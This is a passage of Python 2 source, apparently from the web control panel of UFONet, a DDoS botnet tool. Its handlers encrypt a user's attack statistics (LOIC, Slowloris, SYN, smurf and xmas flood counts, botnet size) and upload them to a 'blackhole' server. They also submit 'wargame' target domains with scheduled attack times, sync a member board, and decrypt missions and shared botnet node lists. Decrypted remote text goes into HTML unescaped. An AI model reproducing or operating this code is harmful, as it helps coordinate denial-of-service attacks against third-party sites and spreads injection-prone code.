  3301. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  3302. stats_data = json.load(stats_json_file)
  3303. stats_json_file.close()
  3304. nickname = grid_data["grid_nick"].encode('utf-8')
  3305. self.encrypt(grid_key, nickname)
  3306. if self.encryptedtext:
  3307. nickname = self.encryptedtext
  3308. self.encryptedtext = "" # clean encryptedtext buffer
  3309. ranking = self.ranking
  3310. if ranking == "Rookie":
  3311. ranking = 1
  3312. elif ranking == "Mercenary":
  3313. ranking = 2
  3314. elif ranking == "Bandit":
  3315. ranking = 3
  3316. elif ranking == "UFOmmander!":
  3317. ranking = 4
  3318. elif ranking == "UFOl33t!":
  3319. ranking = 5
  3320. else:
  3321. ranking = 1
  3322. self.encrypt(grid_key, str(ranking))
  3323. if self.encryptedtext:
  3324. ranking = self.encryptedtext
  3325. self.encryptedtext = "" # clean encryptedtext buffer
  3326. chargo = self.total_botnet
  3327. self.encrypt(grid_key, str(chargo))
  3328. if self.encryptedtext:
  3329. chargo = self.encryptedtext
  3330. self.encryptedtext = "" # clean encryptedtext buffer
  3331. dorking = stats_data["scanner"]
  3332. self.encrypt(grid_key, str(dorking))
  3333. if self.encryptedtext:
  3334. dorking = self.encryptedtext
  3335. self.encryptedtext = "" # clean encryptedtext buffer
  3336. transferred = stats_data["transferred"]
  3337. self.encrypt(grid_key, str(transferred))
  3338. if self.encryptedtext:
  3339. transferred = self.encryptedtext
  3340. self.encryptedtext = "" # clean encryptedtext buffer
  3341. max_chargo = stats_data["max_chargo"]
  3342. self.encrypt(grid_key, str(max_chargo))
  3343. if self.encryptedtext:
  3344. max_chargo = self.encryptedtext
  3345. self.encryptedtext = "" # clean encryptedtext buffer
  3346. missions = stats_data["missions"]
  3347. self.encrypt(grid_key, str(missions))
  3348. if self.encryptedtext:
  3349. missions = self.encryptedtext
  3350. self.encryptedtext = "" # clean encryptedtext buffer
  3351. attacks = stats_data["completed"]
  3352. self.encrypt(grid_key, str(attacks))
  3353. if self.encryptedtext:
  3354. attacks = self.encryptedtext
  3355. self.encryptedtext = "" # clean encryptedtext buffer
  3356. loic = stats_data["loic"]
  3357. self.encrypt(grid_key, str(loic))
  3358. if self.encryptedtext:
  3359. loic = self.encryptedtext
  3360. self.encryptedtext = "" # clean encryptedtext buffer
  3361. loris = stats_data["loris"]
  3362. self.encrypt(grid_key, str(loris))
  3363. if self.encryptedtext:
  3364. loris = self.encryptedtext
  3365. self.encryptedtext = "" # clean encryptedtext buffer
  3366. ufosyn = stats_data["ufosyn"]
  3367. self.encrypt(grid_key, str(ufosyn))
  3368. if self.encryptedtext:
  3369. ufosyn = self.encryptedtext
  3370. self.encryptedtext = "" # clean encryptedtext buffer
  3371. spray = stats_data["spray"]
  3372. self.encrypt(grid_key, str(spray))
  3373. if self.encryptedtext:
  3374. spray = self.encryptedtext
  3375. self.encryptedtext = "" # clean encryptedtext buffer
  3376. smurf = stats_data["smurf"]
  3377. self.encrypt(grid_key, str(smurf))
  3378. if self.encryptedtext:
  3379. smurf = self.encryptedtext
  3380. self.encryptedtext = "" # clean encryptedtext buffer
  3381. xmas = stats_data["xmas"]
  3382. self.encrypt(grid_key, str(xmas))
  3383. if self.encryptedtext:
  3384. xmas = self.encryptedtext
  3385. self.encryptedtext = "" # clean encryptedtext buffer
  3386. contact = grid_data["grid_contact"].encode('utf-8')
  3387. self.encrypt(grid_key, str(contact))
  3388. if self.encryptedtext:
  3389. contact = self.encryptedtext
  3390. self.encryptedtext = "" # clean encryptedtext buffer
  3391. id = grid_data["grid_token"] # plain text
  3392. stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(spray)+grid_msg_sep+str(smurf)+grid_msg_sep+str(xmas)+grid_msg_sep+str(contact)+grid_msg_sep+str(id)
  3393. try:
  3394. host = blackhole_ip
  3395. cport = 9992 # port used by mothership grider (server side script)
  3396. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3397. gs.settimeout(5.0)
  3398. gs.connect((host, cport))
  3399. gs.send(stream)
  3400. gs.close()
  3401. try: # download latest grid after submit
  3402. grid = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read()
  3403. f = open(self.grid_file, "w") # write updates to grid.txt
  3404. f.write(str(grid))
  3405. f.close()
  3406. except:
  3407. pass
  3408. grid_trans = "[Info] [AI] Statistics transferred! -> [OK!]\n"
  3409. except:
  3410. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  3411. except:
  3412. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  3413. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3414. f = open("/tmp/out", "w")
  3415. f.write(grid_trans)
  3416. f.write(end_mark)
  3417. f.close()
  3418. if page == "/cmd_transfer_grid_update":
  3419. if not os.path.exists('/tmp/out'):
  3420. open('/tmp/out', 'w').close()
  3421. with open('/tmp/out', 'r') as f:
  3422. self.pages["/cmd_transfer_grid_update"] = "<pre>"+f.read()+"<pre>"
  3423. if page == "/cmd_transfer_wargame":
  3424. self.pages["/cmd_transfer_wargame"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  3425. blackhole_ip = pGet["wargames_source2"]
  3426. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  3427. try:
  3428. wargames_enckey = pGet["wargames_enckey"]
  3429. except:
  3430. wargames_enckey = ""
  3431. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  3432. wargames_target = pGet["wargames_target"]
  3433. if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url
  3434. t = urlparse(str(wargames_target))
  3435. wargames_target = t.netloc
  3436. else:
  3437. wargames_trans = "[Error] [AI] Proposed target hasn't a correct format!. Try it again...\n"
  3438. wargames_enckey = ""
  3439. if wargames_target.startswith("www."):
  3440. wargames_target = wargames_target.replace("www.","")
  3441. wargames_estimated = pGet["wargames_estimated"]
  3442. try:
  3443. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  3444. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  3445. if (wargames_creation > wargames_estimated) == True: # parse bad dates
  3446. wargames_trans = "[Error] [AI] Date time should be major than creation time. Try it again...\n"
  3447. wargames_enckey = ""
  3448. except:
  3449. wargames_trans = "[Error] [AI] Date time is not using a correct format!. Try it again...\n"
  3450. wargames_enckey = ""
  3451. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3452. if wargames_enckey is not "": # stream creation + encryption + package send
  3453. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  3454. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  3455. try:
  3456. self.encrypt(wargames_enckey, wargames_creation)
  3457. if self.encryptedtext:
  3458. wargames_creation = self.encryptedtext
  3459. self.encryptedtext = "" # clean encryptedtext buffer
  3460. self.encrypt(wargames_enckey, wargames_target)
  3461. if self.encryptedtext:
  3462. wargames_target = self.encryptedtext
  3463. self.encryptedtext = "" # clean encryptedtext buffer
  3464. self.encrypt(wargames_enckey, wargames_estimated)
  3465. if self.encryptedtext:
  3466. wargames_estimated = self.encryptedtext
  3467. self.encryptedtext = "" # clean encryptedtext buffer
  3468. stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated)
  3469. try:
  3470. host = blackhole_ip
  3471. cport = 9992 # port used by mothership grider (server side script)
  3472. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3473. gs.settimeout(5.0)
  3474. gs.connect((host, cport))
  3475. gs.send(stream)
  3476. gs.close()
  3477. try: # download latest wargames after submit
  3478. wargames = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read()
  3479. f = open(self.wargames_file, "w") # write updates to wargames.txt
  3480. f.write(str(wargames))
  3481. f.close()
  3482. except:
  3483. pass
  3484. wargames_trans = "[Info] [AI] Wargame transferred! -> [OK!]\n"
  3485. except:
  3486. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  3487. except:
  3488. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  3489. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3490. f = open("/tmp/out", "w")
  3491. f.write(wargames_trans)
  3492. f.write(end_mark)
  3493. f.close()
  3494. if page == "/cmd_transfer_wargame_update":
  3495. if not os.path.exists('/tmp/out'):
  3496. open('/tmp/out', 'w').close()
  3497. with open('/tmp/out', 'r') as f:
  3498. self.pages["/cmd_transfer_wargame_update"] = "<pre>"+f.read()+"<pre>"
  3499. if page == "/cmd_sync_board":
  3500. self.pages["/cmd_sync_board"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3501. blackhole_ip = pGet["board_source"]
  3502. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  3503. try:
  3504. board = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read()
  3505. f = open(self.board_file, "w") # write updates to board.txt
  3506. f.write(str(board))
  3507. f.close()
  3508. self.board_text = board
  3509. except:
  3510. board = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3511. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3512. f = open("/tmp/out", "w")
  3513. f.write(str(board))
  3514. f.write(end_mark)
  3515. f.close()
  3516. if page == "/cmd_sync_board_update":
  3517. if not os.path.exists('/tmp/out'):
  3518. open('/tmp/out', 'w').close()
  3519. with open('/tmp/out', 'r') as f:
  3520. stream = f.read()
  3521. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  3522. self.pages["/cmd_sync_board_update"] = "<pre>"+stream+"<pre>"
  3523. if page == "/cmd_send_message_board":
  3524. self.pages["/cmd_send_message_board"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  3525. blackhole_ip = pGet["board_source"]
  3526. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  3527. try:
  3528. board_key = pGet["board_key"]
  3529. except:
  3530. board_key = ""
  3531. try:
  3532. board_topic = pGet["board_topic"]
  3533. except:
  3534. board_topic = ""
  3535. try:
  3536. board_message = pGet["stream_txt"]
  3537. except:
  3538. board_message = ""
  3539. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3540. if board_key is not "" or board_topic is not "" or board_message is not "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole)
  3541. try:
  3542. board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf
  3543. board_data = json.load(board_json_file)
  3544. board_json_file.close()
  3545. board_nickname = board_data["profile_nick"]
  3546. self.encrypt(board_key, board_nickname)
  3547. if self.encryptedtext:
  3548. board_nickname = self.encryptedtext
  3549. self.encryptedtext = "" # clean encryptedtext buffer
  3550. board_icon = board_data["profile_icon"]
  3551. board_icon = board_icon.replace("link", "") # keep just icon number
  3552. board_id = board_data["profile_token"]
  3553. self.encrypt(board_key, board_message)
  3554. if self.encryptedtext:
  3555. board_message = self.encryptedtext
  3556. self.encryptedtext = "" # clean encryptedtext buffer
  3557. if board_topic == "general":
  3558. board_topic = 1
  3559. elif board_topic == "opsec":
  3560. board_topic = 2
  3561. elif board_topic == "faq":
  3562. board_topic = 3
  3563. elif board_topic == "bugs":
  3564. board_topic = 4
  3565. elif board_topic == "media":
  3566. board_topic = 5
  3567. else:
  3568. board_topic = 1
  3569. stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message)
  3570. try:
  3571. host = blackhole_ip
  3572. cport = 9992 # port used by mothership grider (server side script)
  3573. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3574. gs.settimeout(5.0)
  3575. gs.connect((host, cport))
  3576. gs.send(stream)
  3577. gs.close()
  3578. try: # download latest board after submit
  3579. board = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read()
  3580. f = open(self.board_file, "w") # write updates to board.txt
  3581. f.write(str(board))
  3582. f.close()
  3583. except:
  3584. pass
  3585. board_trans = "[Info] [AI] The message has been sent! -> [OK!]\n"
  3586. except:
  3587. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  3588. except:
  3589. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  3590. f = open("/tmp/out", "w")
  3591. f.write(board_trans)
  3592. f.write(end_mark)
  3593. f.close()
  3594. if page == "/cmd_send_message_board_update":
  3595. if not os.path.exists('/tmp/out'):
  3596. open('/tmp/out', 'w').close()
  3597. with open('/tmp/out', 'r') as f:
  3598. self.pages["/cmd_send_message_board_update"] = "<pre>"+f.read()+"<pre>"
  3599. if page == "/cmd_decrypt":
  3600. self.pages["/cmd_decrypt"] = "<pre>Waiting for decrypting results...</pre>"
  3601. try:
  3602. news_key = pGet["news_key"]
  3603. except:
  3604. news_key = ""
  3605. try:
  3606. missions_key = pGet["missions_key"]
  3607. except:
  3608. missions_key = ""
  3609. end_mark = "\n[Info] [AI] End of decryption."
  3610. if news_key is not "": # news decryption
  3611. self.decrypted_news = []
  3612. nodec_text = "*** [This message cannot be solved with that key...]"
  3613. news_key = pGet["news_key"]
  3614. for news_text in self.list_news:
  3615. self.decrypt(news_key, news_text)
  3616. if self.decryptedtext:
  3617. self.decrypted_news.append(self.decryptedtext)
  3618. else:
  3619. self.decrypted_news.append(nodec_text)
  3620. self.decryptedtext = "" # clean decryptedtext buffer
  3621. f = open("/tmp/out", "w")
  3622. num_news = 0 # news counter
  3623. for m in self.decrypted_news:
  3624. num_news = num_news + 1
  3625. f.write("["+str(num_news)+"] " + str(m)+"\n")
  3626. f.write(end_mark)
  3627. f.close()
  3628. else:
  3629. if missions_key is not "": # missions decryption
  3630. self.decrypted_missions = []
  3631. nodec_text = "*** [This message cannot be solved with that key...]"
  3632. missions_key = pGet["missions_key"]
  3633. for missions_text in self.list_missions:
  3634. self.decrypt(missions_key, missions_text)
  3635. if self.decryptedtext:
  3636. self.decrypted_missions.append(self.decryptedtext)
  3637. else:
  3638. self.decrypted_missions.append(nodec_text)
  3639. self.decryptedtext = "" # clean decryptedtext buffer
  3640. f = open("/tmp/out", "w")
  3641. num_mission = 0 # missions counter
  3642. for m in self.decrypted_missions:
  3643. num_mission = num_mission + 1
  3644. f.write("["+str(num_mission)+"] " + str(m)+"\n")
  3645. f.write(end_mark)
  3646. f.close()
  3647. else: # blackholes (nodes.dat) decryption + data showing
  3648. self.decrypted_blackholes = []
  3649. nodec_text = "*** [This message cannot be solved with that key...]"
  3650. blackhole_key = pGet["blackhole_key"]
  3651. for blackholes_text in self.list_blackholes:
  3652. self.decrypt(blackhole_key, blackholes_text)
  3653. if self.decryptedtext:
  3654. self.decrypted_blackholes.append(self.decryptedtext)
  3655. else:
  3656. self.decrypted_blackholes.append(nodec_text)
  3657. self.decryptedtext = "" # clean decryptedtext buffer
  3658. f = open("/tmp/out", "w")
  3659. num_blackholes = 0 # blackholes counter
  3660. for b in self.decrypted_blackholes:
  3661. num_blackholes = num_blackholes + 1
  3662. if blackhole_sep in b: # IP | Mode | Comment | Actions
  3663. s = b.rsplit(blackhole_sep, 1)[0]
  3664. ip = str(s.rsplit(blackhole_sep, 1)[0])
  3665. mode = str(s.rsplit(blackhole_sep, 1)[1])
  3666. if mode == "D": # Download only mode
  3667. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>"
  3668. elif mode == "U": # Upload only mode
  3669. mode = "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  3670. else: # Upload/Download mode
  3671. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>" + " - " + "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  3672. comment = str(b.rsplit(blackhole_sep, 1)[1])
  3673. b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment
  3674. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  3675. else:
  3676. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  3677. f.write(end_mark)
  3678. f.close()
  3679. if page == "/cmd_decrypt_update":
  3680. if not os.path.exists('/tmp/out'):
  3681. open('/tmp/out', 'w').close()
  3682. with open('/tmp/out', 'r') as f:
  3683. self.pages["/cmd_decrypt_update"] = "<pre>"+f.read()+"<pre>"
  3684. if page == "/news":
  3685. self.pages["/news"] = self.html_news()
  3686. if page == "/missions":
  3687. self.pages["/missions"] = self.html_missions()
  3688. if page == "/board":
  3689. self.pages["/board"] = self.html_board()
  3690. if page == "/grid":
  3691. self.pages["/grid"] = self.html_grid()
  3692. if page == "/wargames":
  3693. self.pages["/wargames"] = self.html_wargames()
  3694. if page == "/grid_profile":
  3695. if pGet=={}:
  3696. self.pages["/grid_profile"] = self.html_grid_profile()
  3697. else:
  3698. self.save_grid(pGet)
  3699. self.pages["/grid_profile"] = self.html_grid_profile_submit()
  3700. if page == "/board_profile":
  3701. if pGet =={}:
  3702. self.pages["/board_profile"] = self.html_board_profile()
  3703. else:
  3704. self.save_profile(pGet)
  3705. self.pages["/board_profile"] = self.html_board_profile_submit()
  3706. if page == "/board_remove":
  3707. self.pages["/board_remove"] = self.html_board_remove()
  3708. if page == "/grid_remove":
  3709. self.pages["/grid_remove"] = self.html_grid_remove()
  3710. if page == "/cmd_decrypt_moderator_board":
  3711. self.pages["/cmd_decrypt_moderator_board"] = "<pre>Waiting for decrypting results...</pre>"
  3712. try:
  3713. board_key = pGet["board_key"]
  3714. except:
  3715. board_key = ""
  3716. try:
  3717. filter = pGet["filter"]
  3718. except:
  3719. filter = ""
  3720. end_mark = "\n[Info] [AI] End of decryption."
  3721. if board_key is not "": # board decryption
  3722. nodec_text = "***[ENCRYPTED WITH OTHER KEY]"
  3723. f = open("/tmp/out", "w")
  3724. b = "<center><table border='1' cellpadding='10' cellspacing='5' align=center>"
  3725. f.write(str(b)+"\n")
  3726. self.list_moderator_rev = reversed(self.list_moderator) # order by DESC
  3727. for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment
  3728. if board_msg_sep in m:
  3729. m = m.split(board_msg_sep)
  3730. topic = m[0] # topic
  3731. t = m[1] # icon
  3732. n = m[2] # nick
  3733. g = m[3] # id
  3734. l = m[4] # comment
  3735. if topic == "1":
  3736. topic = "/GENERAL"
  3737. elif topic == "2":
  3738. topic = "/#OPSEC "
  3739. elif topic == "3":
  3740. topic = "/FAQ "
  3741. elif topic == "4":
  3742. topic = "/BUGS "
  3743. elif topic == "5":
  3744. topic = "/MEDIA "
  3745. else:
  3746. topic = "/BUGS[!]"
  3747. icon = "<img src='/images/crew/link"+str(t)+".png'>"
  3748. nick = str(n)
  3749. self.decrypt(board_key, nick)
  3750. if self.decryptedtext:
  3751. nick = self.decryptedtext
  3752. else:
  3753. nick = 'Anonymous' # We are legion!
  3754. self.decryptedtext = "" # clean decryptedtext buffer
  3755. id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation)
  3756. msg = str(l)
  3757. self.decrypt(board_key, msg)
  3758. if self.decryptedtext:
  3759. msg = self.decryptedtext
  3760. else:
  3761. msg = nodec_text
  3762. self.decryptedtext = "" # clean decryptedtext buffer
  3763. if filter in topic or filter == "ALL": # filter content by user selection
  3764. b = "<tr valign=top><td align=center>" + icon + "<br>"+nick+"</td><td>"
  3765. b += "<font size=+2>"+topic+"</font>"
  3766. b += "<br>by "+nick+"<br><br>"
  3767. b += str(msg) + "</td></tr>"
  3768. f.write(str(b)+"\n")
  3769. else:
  3770. pass
  3771. else: # not valid stream data
  3772. pass
  3773. b="</table>"
  3774. f.write(str(b)+"\n")
  3775. f.write(end_mark)
  3776. f.close()
  3777. if page == "/cmd_decrypt_moderator_board_update":
  3778. if not os.path.exists('/tmp/out'):
  3779. open('/tmp/out', 'w').close()
  3780. with open('/tmp/out', 'r') as f:
  3781. self.pages["/cmd_decrypt_moderator_board_update"] = "<pre>"+f.read()+"<pre>"
  3782. if page == "/cmd_decrypt_grid":
  3783. self.pages["/cmd_decrypt_grid"] = "<pre>Waiting for decrypting results...</pre>"
  3784. try:
  3785. grid_key = pGet["grid_key"]
  3786. except:
  3787. grid_key = ""
  3788. end_mark = "[Info] [AI] End of decryption."
  3789. if grid_key is not "": # grid decryption
  3790. # Mothership stats counters
  3791. mothership_members = 0
  3792. member_1 = 0 # Rookie
  3793. member_2 = 0 # Mercenary
  3794. member_3 = 0 # Bandit
  3795. member_4 = 0 # UFOmmander!
  3796. member_5 = 0 # UFOl33t!
  3797. mothership_missions = 0
  3798. mothership_transferred = 0
  3799. mothership_attacks = 0
  3800. mothership_loic = 0
  3801. mothership_loris = 0
  3802. mothership_ufosyn = 0
  3803. mothership_spray = 0
  3804. mothership_smurf = 0
  3805. mothership_xmas = 0
  3806. mothership_chargo = 0
  3807. mothership_dorking = 0
  3808. mothership_maxchargo = 0
  3809. nodec_text = "KEY?"
  3810. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_nickname' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nickname','"+str(grid_key)+"')>NICKNAME:</a></td><td align='center'><a id='filter_ranking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ranking','"+str(grid_key)+"')>RANKING:</a></td><td align='center'><a id='filter_chargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('chargo','"+str(grid_key)+"')>CHARGO:</a></td><td align='center'><a id='filter_dorking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('dorking','"+str(grid_key)+"')>DORKING:</a></td><td align='center'><a id='filter_transf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('transferred','"+str(grid_key)+"')>TRANSF:</a></td><td align='center'><a id='filter_maxchargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('maxchargo','"+str(grid_key)+"')>MAX.CHARGO:</a></td><td align='center'><a id='filter_missions' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('missions','"+str(grid_key)+"')>MISSIONS:</a></td><td align='center'><a id='filter_attacks' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('attacks','"+str(grid_key)+"')>ATTACKS:</a></td><td align='center'><a id='filter_loic' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loic','"+str(grid_key)+"')>LOIC:</a></td><td align='center'><a id='filter_loris' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loris','"+str(grid_key)+"')>LORIS:</a></td><td align='center'><a id='filter_ufosyn' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufosyn','"+str(grid_key)+"')>UFOSYN:</a></td><td align='center'><a id='filter_spray' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('spray','"+str(grid_key)+"')>SPRAY:</a></td><td align='center'><a id='filter_smurf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('smurf','"+str(grid_key)+"')>SMURF:</a></td><td align='center'><a id='filter_xmas' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('xmas','"+str(grid_key)+"')>XMAS:</a></td><td align='center'><a id='filter_contact' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('contact','"+str(grid_key)+"')>CONTACT:</a></td></tr>"
  3811. grid_key = pGet["grid_key"]
  3812. f = open("/tmp/out", "w")
  3813. self.list_grid_rev = reversed(self.list_grid) # order by DESC
  3814. for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, contact, ID
  3815. if grid_msg_sep in m:
  3816. version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2)
  3817. m = m.split(grid_msg_sep)
  3818. grid_nickname = m[0] # nickname
  3819. self.decrypt(grid_key, grid_nickname)
  3820. if self.decryptedtext:
  3821. grid_nickname = self.decryptedtext
  3822. else:
  3823. grid_nickname = nodec_text
  3824. self.decryptedtext = "" # clean decryptedtext buffer
  3825. if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3<str12)
  3826. grid_nickname = "Anonymous"
  3827. else:
  3828. grid_nickname = str(grid_nickname) # nickname
  3829. mothership_members = mothership_members + 1 # add new registered member to mothership stats
  3830. grid_ranking = m[1] # ranking
  3831. self.decrypt(grid_key, grid_ranking)
  3832. if self.decryptedtext:
  3833. try:
  3834. grid_ranking = int(self.decryptedtext)
  3835. except:
  3836. grid_ranking = nodec_text
  3837. else:
  3838. grid_ranking = nodec_text
  3839. self.decryptedtext = "" # clean decryptedtext buffer
  3840. if grid_ranking == 1: #Rookie
  3841. grid_ranking = "<font color='white' size='4'>*</font>"
  3842. member_1 = member_1 + 1
  3843. elif grid_ranking == 2: # Mercenary
  3844. grid_ranking = "<font color='cyan' size='4'>**</font>"
  3845. member_2 = member_2 + 1
  3846. elif grid_ranking == 3: # Bandit
  3847. grid_ranking = "<font color='blueviolet' size='4'>***</font>"
  3848. member_3 = member_3 + 1
  3849. elif grid_ranking == 4: # UFOmmander!
  3850. grid_ranking = "<font color='blue' size='4'>****</font>"
  3851. member_4 = member_4 + 1
  3852. elif grid_ranking == 5: # UFOl33t!
  3853. grid_ranking = "<font color='red' size='4'>&#x25BC;</font>"
  3854. member_5 = member_5 + 1
  3855. else:
  3856. grid_ranking = nodec_text
  3857. grid_totalchargo = m[2] # total chargo
  3858. self.decrypt(grid_key, grid_totalchargo)
  3859. if self.decryptedtext:
  3860. grid_totalchargo = self.decryptedtext
  3861. else:
  3862. grid_totalchargo = nodec_text
  3863. self.decryptedtext = "" # clean decryptedtext buffer
  3864. try: # parse for int
  3865. grid_totalchargo = int(grid_totalchargo)
  3866. mothership_chargo = mothership_chargo + grid_totalchargo
  3867. except:
  3868. grid_totalchargo = nodec_text
  3869. grid_dorking = m[3] # dorking
  3870. self.decrypt(grid_key, grid_dorking)
  3871. if self.decryptedtext:
  3872. grid_dorking = self.decryptedtext
  3873. else:
  3874. grid_dorking = nodec_text
  3875. self.decryptedtext = "" # clean decryptedtext buffer
  3876. try: # parse for int
  3877. grid_dorking = int(grid_dorking)
  3878. mothership_dorking = mothership_dorking + grid_dorking
  3879. except:
  3880. grid_dorking = nodec_text
  3881. grid_transferred = m[4] # transferred
  3882. self.decrypt(grid_key, grid_transferred)
  3883. if self.decryptedtext:
  3884. grid_transferred = self.decryptedtext
  3885. else:
  3886. grid_transferred = nodec_text
  3887. self.decryptedtext = "" # clean decryptedtext buffer
  3888. try: # parse for int
  3889. grid_transferred = int(grid_transferred)
  3890. mothership_transferred = mothership_transferred + grid_transferred
  3891. except:
  3892. grid_transferred = nodec_text
  3893. grid_maxchargo = m[5] # maxchargo
  3894. self.decrypt(grid_key, grid_maxchargo)
  3895. if self.decryptedtext:
  3896. grid_maxchargo = self.decryptedtext
  3897. else:
  3898. grid_maxchargo = nodec_text
  3899. self.decryptedtext = "" # clean decryptedtext buffer
  3900. try: # parse for int
  3901. grid_maxchargo = int(grid_maxchargo)
  3902. mothership_maxchargo = mothership_maxchargo + grid_maxchargo
  3903. except:
  3904. grid_maxchargo = nodec_text
  3905. grid_missions = m[6] # missions
  3906. self.decrypt(grid_key, grid_missions)
  3907. if self.decryptedtext:
  3908. grid_missions = self.decryptedtext
  3909. else:
  3910. grid_missions = nodec_text
  3911. self.decryptedtext = "" # clean decryptedtext buffer
  3912. try: # parse for int
  3913. grid_missions = int(grid_missions)
  3914. mothership_missions = mothership_missions + grid_missions
  3915. except:
  3916. grid_missions = nodec_text
  3917. grid_attacks = m[7] # attacks
  3918. self.decrypt(grid_key, grid_attacks)
  3919. if self.decryptedtext:
  3920. grid_attacks = self.decryptedtext
  3921. else:
  3922. grid_attacks = nodec_text
  3923. self.decryptedtext = "" # clean decryptedtext buffer
  3924. try: # parse for int
  3925. grid_attacks = int(grid_attacks)
  3926. mothership_attacks = mothership_attacks + grid_attacks
  3927. except:
  3928. grid_attacks = nodec_text
  3929. grid_loic = m[8] # loic
  3930. self.decrypt(grid_key, grid_loic)
  3931. if self.decryptedtext:
  3932. grid_loic = self.decryptedtext
  3933. else:
  3934. grid_loic = nodec_text
  3935. self.decryptedtext = "" # clean decryptedtext buffer
  3936. try: # parse for int
  3937. grid_loic = int(grid_loic)
  3938. mothership_loic = mothership_loic + grid_loic
  3939. except:
  3940. grid_loic = nodec_text
  3941. if version > 13: # v1.2
  3942. grid_loris = m[9] # loris
  3943. self.decrypt(grid_key, grid_loris)
  3944. if self.decryptedtext:
  3945. grid_loris = self.decryptedtext
  3946. else:
  3947. grid_loris = nodec_text
  3948. self.decryptedtext = "" # clean decryptedtext buffer
  3949. try: # parse for int
  3950. grid_loris = int(grid_loris)
  3951. mothership_loris = mothership_loris + grid_loris
  3952. except:
  3953. grid_loris = nodec_text
  3954. grid_ufosyn = m[10] # ufosyn
  3955. self.decrypt(grid_key, grid_ufosyn)
  3956. if self.decryptedtext:
  3957. grid_ufosyn = self.decryptedtext
  3958. else:
  3959. grid_ufosyn = nodec_text
  3960. self.decryptedtext = "" # clean decryptedtext buffer
  3961. try: # parse for int
  3962. grid_ufosyn = int(grid_ufosyn)
  3963. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  3964. except:
  3965. grid_ufosyn = nodec_text
  3966. grid_spray = m[11] # spray
  3967. self.decrypt(grid_key, grid_spray)
  3968. if self.decryptedtext:
